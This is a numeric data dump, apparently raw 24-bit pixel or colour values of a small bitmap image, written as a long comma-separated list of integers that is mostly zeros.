,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3827382,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,14408630,6699520,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,26294,16777142,6684672,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,0,3838171,16777215,16777215,14408630,6699520,0,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,102,11993087,11964560,11983871,16777215,16767926,6684672,0,0,3838171,16777215,16777215,14408630,6699520,0,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,102,11993087,16758374,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,26294,16777142,6684672,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,16758374,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,102,11993087,16767926,6699578,3816038,11993087,16758374,0,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3816080,14417883,9452032,0,102,11993087,14389306,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,102,11993087,11953664,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,26294,16777142,6684672,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,58,3815994,3816080,14417883,9452032,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,3838171,16777142,6684672,0,0,58,3815994,3816080,14417883,9452032,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,26294,16777142,6684672,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,26294,16777142,6684672,58,9483995,16777215,14408667,14408703,16777179,9452032,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,26294,16777142,6684672,0,102,11993051,9452032,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,3838171,16777142,6684672,26294,16777142,6684672,0,102,11993051,9452032,0,26294,16777142,6684672,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,58,3816038,11993087,11953722,3815936,0,0,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,26294,16777215,11953722,3815994,3815994,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,102,11993087,11953664,0,58,9493503,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,16767926,9452090,3816038,11993087,16758374,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,58,9493467,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,102,11993087,11953664,0,58,9493503,14389306,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,6731483,16777215,16777215,16758416,3801088,0,102,11983871,16777215,16777179,11964474,0,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,11953664,0,58,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,11964518,11983871,16777215,16767926,6684672,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,102,11993087,14389350,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3816038,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,